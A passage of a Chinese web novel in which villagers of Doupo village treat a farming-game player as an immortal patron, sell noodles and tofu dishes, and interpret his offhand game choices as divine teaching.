尤其中间时,他曾套话问过这几人的职业,五人说自己是东家手下负责采买的,按照东家的意思,购入一些粉条回去。 但试探后,老翁很快发现这几人对自家东家说不出个一二三来,而他又从其中一人的腰间看到了一枚挂坠。 那挂坠他曾在城内官兵的腰间看到过。 ——这些人是官兵,眼下他们穿了普通衣物,又要去那斗坡村,难不成是想抢夺那村子的粉? 毕竟官兵又不是没干过这类事。 汪老翁气得直抽抽。 他一辈子命苦,年轻时饥荒和家人走散后来到了这风仙县附近讨生活,一开始他什么都做,等后面凑够钱后,自己转而做点小生意,后迎娶了同样无父无母的妻子,幸福的日子没过多久,妻子在给他生了个闺女后撒手离世。 汪老翁悲痛之下,也不想再找个人一起过日子,好不容易将女儿抚养长大,结果女儿婚后不到三年,被城内恶霸李德抢走侮辱,人回去后被婆家休了回来,当天夜里,女儿吊死,只留下被嫌弃的外孙女。 外孙女那般年幼,但已被厌弃,眼看没什么好日子能过,汪老翁强忍悲痛,将外孙女带回家好生养着。 眼看着小小的外孙女会跑会跳,会叫阿公,他原本干涸的心逐渐被注入了生的希望。 ——活着吧,他得活着呀,不然孩子怎么办。 日子就这般平稳地过下去,直到再次遇到这百年难得一遇的大旱灾。 汪老翁本打算带着孙女离开,去外地求生活时,恰逢降雨。 降雨后第二日,汪老翁进了城,打算买点东西回去给外孙女吃,结果一进门,就看到了那被挂在城门口的一串脑袋。 日子过得有些久,他也没看清楚那几人到底是谁,还以为是那恶霸又想出新的折磨人办法。 一想到往后的日子不知如何在这恶霸手中讨生活,再想到自己作为人父,竟无能到无法替女儿报仇,这会只觉得浑身悲凉。 而等他进城后,去买米面的功夫,却听到粮食店内有人小声交谈。 汪老翁本没想听,结果在听到一个熟悉的名字后再也忍不住竖起了耳朵。 “看到那城门楼外挂着的脑袋不?” “怪骇人的,谁的?莫不是牢狱中罪犯的?” “非也,非也。” 这人故作神秘,其余人均是催促他赶快说。 “别急别急,这死的人啊,不是别人,是大家都认识的人,此人正是那城中恶霸李德。” 汪老翁拿着口袋的手顿时一松。 眼神顺着说话的人看过去,这人正继续兴奋道。 “依我看,是那些被他害死的人现在回来索命了,那日我亲眼所见,那鞭子和刀具像是活了一样,直逼那群恶霸而去,只见三下五除二,一串脑袋便被挂在了那城门之外示众,那鲜血喷射三尺有余” 这人还在继续说,而汪老翁则在恍惚中逐渐走向城外。 等看着那串脑袋后,仔细去看,汪老翁这才勉强看出那恶霸的几分眉眼来。 和以前那副凶神恶煞的模样不同,此刻的恶霸灰头土脸,面庞有几处已经快要腐烂。 苍蝇围绕着脑袋乱飞,像极了他们本该的归宿。 城门口倒是有顽童拿着石头去砸那些人头。 嘴里咿呀咿呀唱着童谣。 他麻木地弯腰,摸起一块石头,跟着顽童,对着那串脑袋扔了出去。 石头刚扔出去,又有不少石头也紧跟着扔出去。 汪老翁回头去看,看到了身后成群的男女老少。 那一天可真热,热得他心头滚烫,热得他那寒冷寂静的心像是沸水煮开了般喧嚣不停。 从那日起,汪老翁知道了张氏一行人,知道了斗坡村,知道了他们口口相传的仙师。 他去了那村落,正值秋日,山坡田野间竟交错种植着不知名的作物,村人正有说有笑地从田埂间回家。 而再往里走几步,便能看到那厂子。 听人说,粉条之物便是从这里购买的。 汪老翁往前走,觉得这厂子可真稀奇,他坐在驴车上,听周围的人叽叽喳喳说着话 “我是来求那酸辣粉的,你们晓得不,那酸辣粉说是有保胎作用,我专程来替我家妻子求一碗,好让妻子顺顺利利生子。” “真的假的?不是骗人的吧?” “这还有假?听人说那些富商先前花了大价格去求这酸辣粉,效果可好了。” “真的话,我也想去求一碗。” 汪老翁下车,跟上去走了两步,眼看着这些人小心翼翼地捧着一碗粉离去时,他突然老泪纵横。 第34章 肝帝 或许是看他这么大岁数哭得可怜,路过扎着羊角辫的小童拉了拉他的衣角,怯生生地给他递过去一个烤得脏兮兮的什么东西。 汪老翁没来得及说话,就听小女童嘴里重复着几个词。 “别饿,吃烤地瓜。” 灾年这食物何曾珍贵,他想将这烤地瓜还给小女童,小女童却一溜烟跑远了。 熙熙攘攘的人群错过他,眼神瞟过他手里捧着的烤地瓜,互相交接谈论。 “这烤地瓜看着不错,一会去那村口附近买个尝尝” 汪老翁未曾见过此物,也不会吃,试着咬了一口入嘴,只觉得外皮微苦,内馅倒是香甜可口。 那股汹涌彭拜的情绪,奇异地缓和下来,他甚至有心情去仔细看这地瓜。 ——外表其貌不扬的,谁能想到这物烤熟了竟和蜜一样甜。 剩下的烤地瓜,他也不舍得吃,揣到怀里打算带给家中孙女吃,想到先前那些人口中说过的村口售卖烤地瓜之事,汪老翁再也坐不住,赶忙前去那村口。 人刚走到村口,却见村口竟也是热闹非凡,——有卖烤地瓜的,酸辣粉的,还有卖些给小孩子的玩具,除了这些以外,还有不少卖旧货的,卖二手棉衣的,整个斗坡村,俨然成了一个新集市。 他往前走几步,倒是看见不少卖烤地瓜的,价格倒是便宜,一文钱能买两大个。 那地瓜烤得直冒油,糖浆味甜滋滋的,在空中散也散不开,勾得人直咽唾沫。 除了烤地瓜外,斗坡村竟是还有不少他见也没见过的新奇吃食。 ——用地瓜煎熟了的甜饼,还有以地瓜为馅料的馅饼,至于那粉条的吃食,也是有不少,酸辣粉暂且不表,至于像是别的粉条吃食,这里也摆了不少摊。 汪老翁瞅着稀奇,想到家里的孙女,花钱买了不少新奇吃食。 等到买完东西,登记完预购本,交了押金后,汪老翁这才带着吃食返回家中。 家中孙女年仅十二岁,相貌遗传了亲娘,小小年纪便亭亭玉立,和别家瘦瘦巴巴的孩子不同,汪老翁将孩子养的很仔细。 眼瞅着阿公回家了,汪小娘跑过去帮自家阿公拿东西。 “阿公回得这般早?那粉没买到不打紧,咱们还能干别的生意,我先去做饭。” 汪老翁连忙拦住她。 “阿公吃饱了回来的,别忙活了,你也吃。” 说话间,拿出来先前从斗坡村买的吃食,汪小娘聪慧,早就晓得阿公的辛苦,素日从不像同龄孩子那般给父母讨要零嘴,本想推脱,结果在阿公热了热那买回来的吃食后,她突然觉得自己拒绝的话说不出口。 ——实在是太香了! 鬼使神差般,汪小娘端起那碗酸辣粉。 等到第一口入肚,她顿时睁大眼睛。 ——好吃!太好吃了! 吃了酸辣粉,她又吃了地瓜馅饼,感受着地瓜独有的绵软香甜。 ——何物竟这么甜,莫不是加糖了? 那这应该很贵吧,现在糖价可是不菲。 汪小娘很珍惜地一小口一小口吃着,看着自家阿公,又举手让他也吃。 汪老翁笑得眼尾炸开了花,脑内却是控制不住地回想起了斗坡村那般热闹的场景 那村落真好,那位仙师一定是真实存在的。 若孙女在那处,或许能在这乱世中受到那位的庇护吧 汪老翁暗自下了个决心,想将自家搬迁到那斗坡村去。 之后每次前往斗坡村,汪老翁在进货之余,不忘打听如何在本地落户。 这段时间他也没闲着,地瓜干和粉条让他赚了不少钱,正预备着再来几次,给孙女多攒点钱时,汪老翁遇到了那伙官兵。 在发现这几人是官兵后,汪老翁暗下决心,将这群人引入那条绝路。 而被困的杨木一行人,怎么也不会想到,这老翁并非心血来潮,而是新仇旧恨加在一起,促使他做出的决定。 而此刻,张山则是因为一事开始发愁。 仙师赐下来的酸辣粉,竟有保胎之效。 他原先还不知晓,但等一群人堵上门来,求着让仙师赐福酸辣粉时,他整个人都懵了。 啥玩意?酸辣粉保胎? 正迷糊之际,妻子张氏也是急匆匆赶来,打算和他商量这赐福之事。 “此事重大,你我都做不了主,依我看,先去请里正来共同商讨。” 张山觉得有道理,立即请里正过来。 等里正知晓后,也是一愣。 酸辣粉有保胎效果? 仙师未曾告诉自己一行人啊! 若是早知道这物有这番妙用,他早就将此事宣扬出去了。 像是那送子观音娘娘不也有不少雕像,刻画得精细,用来让世人去祈福求子。 自家仙师做事,倒是不声不响,他们还没反应过来,仙师早就快了他们好几步。 等到再细细思索后,里正若有所悟。 仙师一向低调,不喜张扬,这事想必在仙师那里不是个大事。 只是对他们而言,这可是一顶一的大事。 里正是知道原先死于生产的妇人有多少的,原先不论身份地位高低,妇人生孩子,绝对是鬼门关走一圈。 而现在有了酸辣粉保胎的加持,能将这种风险控制到最低,无形中,这可是救了多少妇人性命! 不过具体这酸辣粉要如何操作才能赐福保胎,他还是一头雾水。 此事兹事重大,必须要三人联合起来请教仙师。 而此刻,姜定察觉到游戏来了一条新提示。 【你的工人联合起来向你发送了一条消息,是否查看?】 啥叫联合消息? 姜定有些好奇地点击了查看,结果在看清楚上面的字后,顿时懵逼。 大意概括下来的话,便是三人前来询问他酸辣粉这物该如何赐福。 姜定没想到这种田游戏竟然还有这么抽象的剧情,这会还没反应过来呢,紧接着又来了个对话框。 【请选择你的赐福方式。】 【A.建造数座雕像,每位前来祈福之人必须上缴一定数量的香火钱,并购买开光雕像。】 【B.在山上建立一座雕像,祈福之人必须三叩九拜才能登顶,以示诚心。】 【C.无所谓雕像,并吐槽这游戏实在是太肝了。】??? A选项什么鬼,感觉完全是商业化信仰了吧! B选项倒是不求钱财,但也太折腾人了些。 等一下—— 在看清楚C选项后,姜定险些绷不住。 这C选项是开发者纯吐槽吧?! 按道理,在游戏中必须要说符合情景的话,做符合剧情的事才能触发后续剧情。 这样一看,第一个排除的便是C选项,但是姜定转念一想,又察觉到不对劲。 ——游戏制作者真会放一个完全不关联的C选项过来么? 怎么想都不合理,除非选择这选项有什么隐形好处。 回想先前玩过的种田游戏,姜定倒也遇到过这种情况。 那个看似完全不相关的选项,有时候往往是开发者给出的纯福利,一般情况下,选择完这选项后,还能再选择另外两个看上去正经的选项。 想到这一层后,姜定不由感慨自己还是太见多识广了。 无比自信地点击完C选项,姜定在屏幕前等了半天,却始终没等到福利放送消息的弹出。 ——等会,所以说,他想错了?这选项不是给玩家的福利? 姜定不死心地在屏幕上点击了一会,试图找到别的可激活剧情,结果毫无卵用 而此刻,三人却等到了仙师的回应。 里正在听到仙师不让大动干戈建造雕塑后,内心感慨万分。 仙师果真心忧天下,眼下百姓连吃饱饭都难,确实无力修建雕塑。 但一个都不修,里正又觉得不好。 不铺张浪费,建设那么多雕塑,但也不能一座雕塑都不建,仙师为了他们操碎了心,他们若是连仙师的模样都不曾记住,这又何尝不是另一种意义上的忘恩负义? 下定决心要建造一座雕塑后,里正刚松了口气,结果在听到仙师的下一句话后,顿时有些疑惑。 ——什么叫游戏太肝了? 其余二人也听到了这话,眼下三人面面相觑,大眼瞪小眼。 仙师这话,他们确实不懂是何意。 莫非这句话便是祈福时要说的话? 里正琢磨了一会,总感觉这话可能并不是字面上的意思。 张山犹豫开口。 “里正,我听闻那些讲书人说过,人间对于神仙来说,像是一场轻松的娱乐,依我看,仙师说的乃是仙界用语,我们得找个读书人替我们解释一番。” 话音刚落,有一人声音响起。 “这话我倒是有点浅薄的见解,大伙不如听我说说?” 三人抬头去看,发现来人正是管理豆腐厂的孙宁元。 感受到三人的视线聚焦在自己身上后,孙宁元那张面庞,更是冷静了几分。 “既然是仙界术语,我们必当在仙界寻求答案,而先前我在那学堂中,倒是偶听闻过这词的意思。 肝,在我们这里,表忠诚,胆气之意,而在那仙界中,我观察到,意思是为达成目标,而努力付出之意。 结合仙师以往勤勉之态可得出,仙师以肝喻天道,警示众生勤修不辍啊!”!!! 竟是如此! 三人恍然大悟,里正思忖片刻,忍不住开口。 “仙师一不让我们花钱修建雕塑,二警示我们勤修不辍,这表明了仙师的态度。 仙师并非求的是自身香火延续,反而更希望我们用自己的双手,追随他,去创造自身的幸福。 仙师做这些事,不为名声,不图钱财,只想为了解救这世道百姓。” 第35章 合作 无私!多么纯粹的无私! 四人脑海里第一时间跳出来的便是这两个字。 这便是仙凡之别么? 在当下世道中,谁做事不求些什么,也就仙师这种无欲无求的神仙才会这般吧。 四人回想起那位的身影,这会只觉得仙师的身影愈发高大起来。 而张氏则是充满愧疚。 她一开始便追随在仙师身后,却不能第一时间了解仙师说出来的话为何意,这让张氏很受打击。 这会张氏不由暗下决定,等上山后,她要在那学堂学得再久些,好能在第一时间察觉到仙师的真正意图。 张氏愧疚之余,里正琢磨片刻后,缓缓开口。 “依我看,我们便按照仙师所说,不建任何雕塑,当来人购买酸辣粉时,要真心实意地连续呼喊三遍,‘我等必勤修不辍,紧随仙师身后,直至太平盛世’,表明求愿者愿意追随仙师,愿意为这世道献出自己的一分微薄之力,这样方可得仙师庇护,你们意下如何?” 孙宁元双眼一亮,忍不住开口附和。 “我认可,毕竟仙师亲喻便是如此。 我们必须要严格听从仙师的决策,要知道失之毫厘差之千里,我们所做的任何决定,都会影响仙师的大业,你我四人若是耽误了仙师的大业,那犯下的罪过便是太大了。” 其余三人想到原先仙师所布局的一切,这会对孙宁元的话更是同意。 “行,那就这么定了,一会我和娘子便去告诉那些祈福之人这赐福之法。” 张山说完话后,和张氏急匆匆离去处理信徒一事,而孙宁元则是还要继续忙豆腐厂的生产,这会也告辞离开。 里正暂且无事,想跟过去看看那赐福之地。 等到他紧赶慢赶来到那赐福之地时,早在远处便听到那呼喊声。 “我等必勤修不辍,紧随仙师身后,直至太平盛世——” 这声音穿透力极强,震得里正头皮直发麻,而求赐福的人则是自发地将酸辣粉放在身体一侧,整个人虔诚至极地跪拜在地,久久不愿起身。 虽说张氏和张山说过仙师不喜跪拜,但这也架不住求的人自发想跪拜,最后劝也劝不住,索性便随他们去了。 等到一波波人念完宣誓词,这才欢天喜地地捧着酸辣粉离去。 里正抚摸着胡须,心中却涌出一股希望。 ——若是紧随在仙师身后,他们或许真能搏一个太平盛世出来? 就是不知道他这把老骨头还能不能熬到那一天了。 里正摸了两把胡须,正欲往家中走时,便看到一穿着月白色衣袍的俊秀公子拦住了他的去路,正疑惑之际,就看到对方微笑着抬手作揖。 “您便是里正吧?在下有要事相求,不知里正可否与在下到马车上说话?” 里正微微侧头,看到了那停在附近的马车,单看他的马车算得上精细,但斗坡村最近来买粉的人属实是太多,其中不乏富商,那些富商的马车要更为豪华,一众豪华马车下,这会竟显得赵金构的马车泯然众人。 想到这在本村,且他一个老头子不值得被人掳走,里正点头同意,在登上马车后,赵金构这才开口说出自己所求之事。 等听完赵金构的想法后,里正不由陷入沉思。 ——这赵公子想在本村开设一家客栈,用以接待外地住宿不便的客人,且客栈会聘请大厨,做那新奇之物以宣传本村的特产。 其实是一件好事,毕竟眼瞅着村子外地人越来越多,往后住宿肯定是个问题,再加上客栈大厨做本地美食,反而更会推动本地加工厂发展。 但这事主动权在他这边,斗坡村日后的发展明眼人都瞧得见,只不过这位赵公子反应最快,率先找到了他而已。 若是想在本地开客栈,必得有其余条件能打动他才行。 里正摸了摸胡须,表情似乎很是犹豫。 “赵公子所言有理,不过此事兹事重大,还请让老夫再琢磨琢磨。” 这话说完后,他起身要走,却被赵金构伸手微微用力按住胳膊。 转身看去,就看到赵金构那张带笑的脸不再含笑,反而严肃了几分。 “里正何不听在下把话说完? 地契钱,在下会一分不少地交上去,且在下能发下誓言,酒楼除了大厨,掌柜以外,招收的小厮,婆子,均会在本村招聘。 在下调查过本村的日薪资为一百文,往后的话,按照客栈工作的辛苦程度,在下必定保证每位被招聘之人均能获得合理的薪资。 除却这些以外,在下还能提供一处厨房,专供本村的张娘子一行人研究美食,至于推广美食的地方,在下也能自掏腰包替本村建设,您意下如何?” 这三天的等待期内,赵金构并没有闲下来,反而派人打听斗坡村现状,力求三天后能拿下这次的投资机会。 按道理说,这样的投入不可谓不大,但赵金构心中隐约有种感觉,若不拿下这次合作,他往后余生皆会活在后悔之中。 而里正则是在听到这话后,微微一顿。 他倒是没想到,这赵公子年纪轻轻,做事却有章法得很。 对方现下提出来的每一个条件,各个都捏中了他的命脉。 原先的话,他肯定要请示仙师,但在得到仙师的警示后,他觉得这事自己做主便是,不然仙师要操的心实在是太多了。 在沉默片刻后,里正同意了赵金构的合作申请。 不过他虽说同意了,但客栈流程的审批还需要更高级的官员负责。 听清楚里正话语中的含义后,赵金构打开折扇晃了晃,唇角闪过一丝若有若无的笑。 “里正放心,这方面在下会自行解决,若是没有问题的话,在下便要请人来修建客栈了。” 里正自然点头,——他操心什么,这客栈流程下不来,就算这赵公子建好了,也无法应对官府的检查,自然而然,这客栈也就开不下去了。 不过,若没什么意外的话,里正自然是希望这客栈能成功开设,毕竟按照他所言,这客栈对村子来说绝对是好事。 眼看里正走远后,赵金构这才拿出卷好的纸塞入信鸽的信桶内。 信鸽一跃升空,消失不见。 此刻,赵金构整理了一番袍角,这才下了马车按约定去找豆腐厂的孙娘子。 一炷香后,孙宁元看着一脸恭谨的赵金构,随即便将仙师的意思转告给他。 “在下明白孙娘子的担忧,不过还请孙娘子放心,在下绝不是那种不顾百姓死活之人。 若是以后在下有任何忘本之行,孙娘子尽管收回这部分产物即可。” 赵金构说得堂堂正正,孙宁元倒也被对方这般真诚打动了片刻,语气不由软了几分。 “既然赵公子这般说了,那日后若你先行毁约,我会代表仙师收回这部分产物。” 两人谈论好了合作条件,赵金构拿出一份早就写好的合约,请孙宁元签字。 好在孙宁元识得字,仔细查看条约,确保无误后,两人这才签订合约。 “眼下豆腐厂作物已出来一批,赵公子可明日过来拿走货物。” 孙宁元送走了赵金构,转而回到工厂内继续监督生产。 而张氏则看到赐福顺利进行后转身离开,前往村口进行豆腐的推广。 ——话说,这是她们推广豆腐的第一天。 要想豆腐卖得好,张氏知道这推广的重要性。 为了今日,她特意选择了三样最具代表性的豆腐美食。 麻婆豆腐,猪肉粉条炖豆腐,凉拌豆腐干。 都是具有代表性的家常菜色。 为了推广更方便,张氏一行人将价格定为麻婆豆腐5文一份,猪肉粉条炖豆腐因有肉且加了粉条,为18文,凉拌豆腐干要贵一些,为10文一份。 等到她们将做好的菜摆放出来时,闻到香味的人群“呼啦”一声全聚了过来。 这群人中一半是本村去工厂工作的工人,而剩余的另一半人,则是前来进行买卖生意的外地商人。 大家挤在一起,伸长脖子往那摊位看去。 “这什么东西?闻起来好香。” “看着像是辣椒炒的,只不过那炒的是何物?” “那是猪肉炖粉条吧?炖起来就是香,这菜我能吃一大碗!” “别的不说,张娘子这饭菜价格还是这么亲民。” 不少看了一旁标价的人啧啧有声。 要知道现在虽说下雨了,大家兜里也有些番薯作为主食,但食物价格依旧较往年贵了不少,像张氏摊位出售的饭菜,现在这点钱可是买不到。 原本就不大的地方,这会人一多更显压抑。 张氏站在最中央,脸上带笑着替众人介绍。 “这红油油的叫麻婆豆腐,是用豆瓣酱仔细炒了豆腐做菜,猪肉炖粉条豆腐不用说,大伙一看就知道它下饭,至于这凉拌豆腐干,吃起来也是醇香浓厚,别有风味,价格都不贵,大伙可以买一份尝尝。” 她说话间,身旁的另外两个妇人则开始往外拿刚蒸好的地瓜,以及粟米。 这两样东西作为主食食用,配着菜吃也香。 人群里有中午下工吃中午饭的工人,这些人中有一大半人图省事,选择在厂子附近吃饭。 这会看这饭菜价格合适,立即要了一份。 “张娘子,我要一份麻婆豆腐和粟米。” 日薪一百文,因是灾年,一份粟米两文钱,中午饭只花7文便能解决,这是有家庭的汉子省钱的吃法。 还有人则是一个人,没那么多顾忌压力,转头和工友们拼了三份菜,就着粟米吃。 一旦有人开始要了,原先观望的人顿时沸腾起来。 这会该叫喊的叫喊,该掏钱的掏钱,张氏几人手中的勺子就没停下来过。 而拿到饭菜的人,则在饭菜入口后,均瞪大了双眼。 ——这般入味软嫩的,便是豆腐? 第36章 药材 除却豆腐风味独特之外,张氏一行人也严格参考那学堂之法去烹饪豆腐。 譬如说,热水煮豆腐以去除豆腥味,再譬如说,煮肉时放入黄酒去腥,这些妙招若不是从学堂上看到话,她们是万万想不到的。 等到用上这些小技巧后,头一次做好的饭菜还是让众人吃了一惊。 张氏还记的头一次吃自己做好的饭菜时,那美妙独特的滋味徜徉中口中,原先猪肉处理不干净的腥味,豆腐炒熟后略微的豆腥味全都没了。 有的只是完全入味的美食。 至于做麻婆豆腐的豆瓣酱,也是她们看了学堂烹饪课后学会的。 不过因做豆瓣酱的调料比较贵,这酱她们暂且不打算出售。 今天是第一次售卖,几人心里都紧张,生怕大伙吃得不满意,没能顺利完成仙师的任务。 结果谁能想到,菜刚端出去,没过半个时辰,早就卖得只剩下主食。 剩下主食的原因还是因为买菜的不少人,想直接带走放入食盒内,对于这类人来说,他们是不愿意吃粟米或者番薯的,最差也得吃糙面做成的馒头,这样吃的才带劲。 而此刻,小厮端来一份食盒,恭敬地送到赵金构面前。 打开食盒,里面是三样菜色,主食的话,倒是打了一份粟米和番薯。 倒不是说赵金构好这口,而是他尊重张氏一行人的搭配,——万一这菜就得配着这两样吃才会更好吃呢? 只是觉得粟米和番薯便宜的张氏一行人: 等到用筷子夹起那成块的麻婆豆腐放入口中后,赵金构忍不住双眼一亮。 ——豆腥味几乎没有,想不到张氏一行人确实有实力,怪不得那位所谓的仙师要派她们下山。 再细细品尝几口,赵金构倒是对其中的豆瓣酱料好奇起来。 这酱滋味浓郁,怪好吃的,之后问问张氏这豆瓣酱卖不卖。 至于那炖豆腐就没有这麻婆豆腐惊喜了,他尝了一口,觉得此菜无功无过,等到吃那份凉拌的豆腐干时,赵金构嚼着那带有香味的豆干,想得却是此物恐怕要大卖。 幸好他提前预定了,不然往后想必是买不到多少。 凉拌豆干中不知张氏加了什么香料,一股独特的麻味充斥唇舌,在那之后,是星星点点的醇厚芝麻油的滋味,芫荽青椒作为搭配,倒是更提升了这道菜的口感。 三道菜中竟有两道滋味不错,赵金构顿觉意外,本觉得这小村落出来的,想必见识不够,做不出好吃的东西,但这三份菜此刻却狠狠地打了他的脸。 第一遍吃完后,赵金构又配着粟米,番薯去吃第二遍,倒是品尝了一份奇妙。 ——粟米平平无奇,但配着微微带甜味的番薯,吃起来滋味奇妙,还解腻。 除去他自己吃以外,赵金构特意带了一份原材料以及张氏三人做的饭菜回去,打算让大厨尝尝,看看大厨的水平做出来的饭菜能到什么程度。 就在他合上食盒时,信鸽扑腾了几下翅膀,从马车窗口钻了进来。 展开信鸽脚腕上的信,赵金构神色一沉。 随即沉声道:“赶往家中。” 信件中所说之事不是别事,说的是祖母于今晨突然中风,让他快些回去。 赵金构忍不住心焦,——祖母难不成是因为出城后,照料的人少了才会中风? 但原先照顾祖母的那批人,早就被他培养成自己眼线,这会出城后自然也时刻带在祖母身旁。 按道理不该出现眼下这般情况才对。 急匆匆到家,赵金构看到的却是祖母病蔫蔫地躺在床上,原本走的时候好好的人,此刻却只有一双眼睛能动。 赵金构喉咙一窒,冲过去跪在祖母床前,若是以往的祖母,这会定会连忙扶他起身,此刻,老人家只能徒劳地瞪大双眼,嘴里发出不明意味的“啊啊啊”声。 在内室陪了祖母一刻钟,赵金构出来后喊过来大夫询问下一步该如何办。 却见那上了年纪的大夫抚了抚胡须,叹息道:“老夫人这病来得太急,刚才老夫以为她排出淤血,但仍有排解不了的淤血存在于脑内,只能寄希望于喝药,看什么时候能消除淤血,老夫人什么时候才能恢复过来。” 赵金构了解过中风这病,知道出现这病还是因为脑内有淤血压着才让人动作受限。 不过,据他了解,这病需要的药可不是一般的药 果然,这老大夫有些踌躇开口。 “若是有那百年人参,灵芝入药,再配其他药材,老夫人这病好得就快,只不过” 后面的话赵金构自己也知道是怎么回事。 ——百年人参,灵芝这等药可遇不可求,先不论价格,市场上一经出现,自然被人高价收购,随即用作送礼之用,若是无缘的话,他或许这辈子都找不到这两样为祖母入药了。 这道理谁都清楚是怎么回事,老大夫叹息一声,随即伏着身子,写下一方单子。 “老夫先用十年人参和灵芝代入药,这药每日需煎一个时辰,早晚各一副。” 似乎是看出来赵金构的难受,老大夫忍不住劝道。 “赵小公子莫要丧气,这十年的药性也还算浓,老夫人吃着也能逐渐缓过来。 就是要比那百年的时间久一些而已。” 赵金构细细询问这久一些是多久,却听老大夫抚须答道。 “或是一年,亦或是几年,每个病人情况都不一样,需要每月随诊。” 其实还有话他不忍心说。 ——就算是有百年药材又如何,这病需要的药材量大,可不是一株两株能解决的事,而就算赵小公子运气好,偶然获得一两株,对于老夫人的病情也是微薄助力而已。 这话说出来未免太打击人,老大夫索性不说了,安慰一番。 倒是赵金构心里和明镜似的,对老大夫未曾说出口的话一清二楚。 ——他方才计算过了,若是按照那张药方来看,人参和灵芝的需求可是不小,也就是他家中还有些小钱能支持祖母喝药,唤作别的小门小户之家,这病和绝症没什么两样了,但他立即明白了,就算是得到了所谓的一两株药材,若不能长久地去吃药,对祖母来说,效果微弱。 若是一两株的话,他呼朋唤友,舍下面子去求一求,或许还能拿到,但这事难办就难办在需要的数量实在是太多。 且就算是有了百年人参,灵芝,祖母几时醒来也是未知数。 头一次,赵金构产生了一种无法把握住任何事的恐慌感。 他唤来信鸽,去询问那游商是否有途径能弄到药材,其次,赵金构整理着装,打算回将此事告知父亲,虽说他厌恶父亲,但祖母这事,或许还需要他的帮助,无论怎么说,当下孝道都是压在人头上的一座大山,就算他那爹再冷血,也不至于会亲眼看着祖母这般不省人事。 他匆忙赶往城内,而那信鸽则飞向远方。 斗坡村。 张氏一行人已连续售卖了三天。 这三天的生意都很火爆,其中不免有不少人询问这豆腐,豆干是从哪里购买的。 张氏一看火候到了,顿时笑吟吟地给对方去指那豆腐厂。 “看见那新盖的厂子没?那里便是我们买来豆腐的地方,价格合理,做起来好做,还对人身体好,你们要是想买就去那里买就成。” 被指路的一行人赶忙顺着张氏指着的手去看,果然看到了新盖起来的厂房。 这伙人抱着看一看的心态去厂房去看,结果去了就发现,那厂房留了一处窗口,用作零售之用。 只见那窗口处标记着价格。 豆腐:2文一块。 豆腐皮,豆干:15文一斤。 油豆皮:18文一斤。 腐竹:20文一斤。 众人看着标价最为昂贵的腐竹,忍不住倒抽一口凉气。 ——这油豆皮和腐竹为何物?怎会比那豆腐高出这么些价格? 正疑惑之际,就看那窗口不远处似乎摆放着些什么。 一行人赶忙伸长脖子,挤到窗口去看。 一打眼看到的就是金黄灿烂成一大片的干货,以及金黄色有褶皱的捆扎在一起的另一干货。 除却这些以外,还有一盘盘刚出锅,热气腾腾的白嫩豆腐,此刻正在弹跳不已。 众人看得眼睛都呆了。 这白嫩之物,想必是豆腐了,没想到出锅后形态尽然是这般。 倒是稀奇。 窗口有一妇人,这会含笑给众人解释那油豆皮和腐竹为何物。 “我身后这平展之物为油豆皮,这有褶皱之物为腐竹,这两样别看价格贵,但泡了水后,体积便会增大数倍,且这两物制作麻烦,所以价格才会高一些。 有道是贵有贵的好处,这两样可以长久保存,若是想买点实惠的,则可以购买豆腐或者豆干,吃起来也新鲜好吃得打紧。” 这妇人说完话后,本村人还未开口,先有外来人喊她要购买上述产物。 本来还觉得窗口处一人可能会忙不过来,但很快,那窗口处一下多出来三人,一起负责售卖。 人群按顺序排成一溜,离得近的,家中较为拮据的大都选择买两块豆腐回去,想着回家后给家人带回去,让他们也尝尝这新奇之物滋味。 先前那张氏说过,这豆腐焯水后捞出切小块,和小葱凉拌着吃也甚是美味。 至于家中条件还不错的,除了买豆腐之外,还买了两样拼在一起的豆腐皮,豆腐干。 15文一斤,但一斤的量还挺多,够吃好久了。 除却售卖豆腐之外,不远处新设置的窗口,更是吸引了众人的注意力。 第37章 宣传 “美食宣传窗口?” “美食意思是好吃的饭菜吧?” “怎么个宣传法?” 不少人看到这窗口名称后,各个倒是兴奋起来。 其中有胆大的人喊话窗口内的人,“这如何宣传?” 等他这话说完后,从窗户口探出人来,这人手中还拿着几张薄薄的纸。 此人不是别人,正是前些日子从外地回来的杨延。 他上次一回到村庄后,便被孙宁元找上门,希望他能绘画图册。 一开始杨延是拒绝的,毕竟他又不是专业的画手,怎能画得好图册? 但孙宁元说此图册并不需要深厚的功法,反而需要去繁化简的能力。 杨延来了兴趣,在孙宁元的请求下画出了第一版的图册。 ——一本极为简单明了的食谱。 其中食谱大都是使用豆制品做成的食谱,为了方便这些看不懂字的村人阅读,杨延特意画清楚了每个烹饪步骤,譬如切成丁的话,画的就是一把刀,再画一块豆腐,刀横在豆腐中央,豆腐一半是完整的,另一半则是丁状物。 再譬如沸水下锅的话,就画一个冒着热水的锅子,和即将下水的食材。 不过就算是画这样的册子,杨延在画完了数十个菜谱后也觉得疲累。 原先的话,孙宁元是打算多画几份出来,想给每人手里都能发放一份,但看到这制作过程这般艰难后,连忙换了政策。 ——只画一份,将这一份食谱张贴出来,供村人查看学习。 既是只张贴一份,那这画册务必就要画得更为精细一些。 杨延废了好几天的功夫,终于将画册画好,送了过去。 孙宁元拿出一两银子递给杨延,这般大手笔即便是杨延,也被震得连连摆手。 “不可不可!” 孙宁元淡淡地笑,“杨书生还请不要拒绝,这画册全是你画的,且那纸笔也都是用的你的,辛苦画了好几天,合该有这份收入。 你若不拿着,以后这样的活计我可不敢来找你了。” 杨延这才不好意思地收下工资,不过,他倒是向孙宁元提议,他可以去那宣传窗口帮忙。 “既是我画的,那便无人比我更懂得这图册,以防大家看不懂,我可以去那里帮着宣传一下。” 杨延想法很单纯,他就是觉得这一两银子拿得烫手,想着索性再帮孙宁元一把,他亲自去那里给村人解说一番,也算是能够拿上这一两银子。 孙宁元微微停顿,随即笑着道:“也是,多亏杨书生提醒,不然即便是有画册,也有一部分不懂该如何看懂。 既然这样,我能做主给你日100文去做这工作,你能接受吗?” ——100文?这么简单的工作给这么高的价格? 似乎是看出来杨延眼神中的不解,孙宁元叹了口气,慢慢道:“这工资其实不高,毕竟整个村里,除了你读过书,能胜任这工作以外,合适的人实在是太少了。 这宣传窗户的工作你先干着,若是后续仙师一直研究新的产物的话,这窗口就一直开着。 若是仙师不再发展新业务了,这个岗位可能就不能再开设了。” 孙宁元做事喜欢先将难听话说在前面,日后若是真有岗位被取缔的那一天,她也希望对方是早就清楚结果的。 杨延自然同意。 这活轻松,正适合他,若是有便干着,毕竟这世道谁能说这工作岗位就能一直有呢? 他想得开,孙宁元也轻松了不少。 两人便这般定了下来,至于对杨延岗位的安排和日薪决定,她必须得将这事回报给山上的婆婆那里去。 